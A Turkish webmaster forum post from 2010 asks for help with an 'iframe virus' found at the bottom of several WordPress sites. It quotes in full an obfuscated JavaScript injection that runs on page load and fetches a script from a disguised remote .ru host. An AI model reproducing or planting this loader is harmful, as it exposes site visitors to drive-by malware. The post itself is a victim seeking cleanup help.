
19-03-2010, 18:08:54
|
| |
İframe Virüsümü Nedir bu ? | | Arkadaşlar sitelerimin bazısının altında. Alıntı:
<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x6 5\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\ x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2 d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\ x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";v ar Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67 %6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%7 2%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f% 6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70"); this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w 5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
<!--ae7a4e9dd3ade00cc7baeeb0265c707b-->
| Böyle kodlar atılıyor.
Ama hepsinde değil bazısında var.
Siteler açık, saldırgan site uyarısıda vermiyor.
Nedir sorun demin bi hata ile karsılasmıstım.
public_html/wp-includes/default-filters.php on line 229
Diye bu dosyayı ve bi iki dosyayı yeniliyince hata gitti ama sitenin altında kodlar hala duruyor.
Bu durumda ne yapmalıyım ?
Ne gibi bir öneriniz var bu virüsü silmek için.
Daha önce karşılaşan varmı ?
Yardımlarınızı bekliyorum. |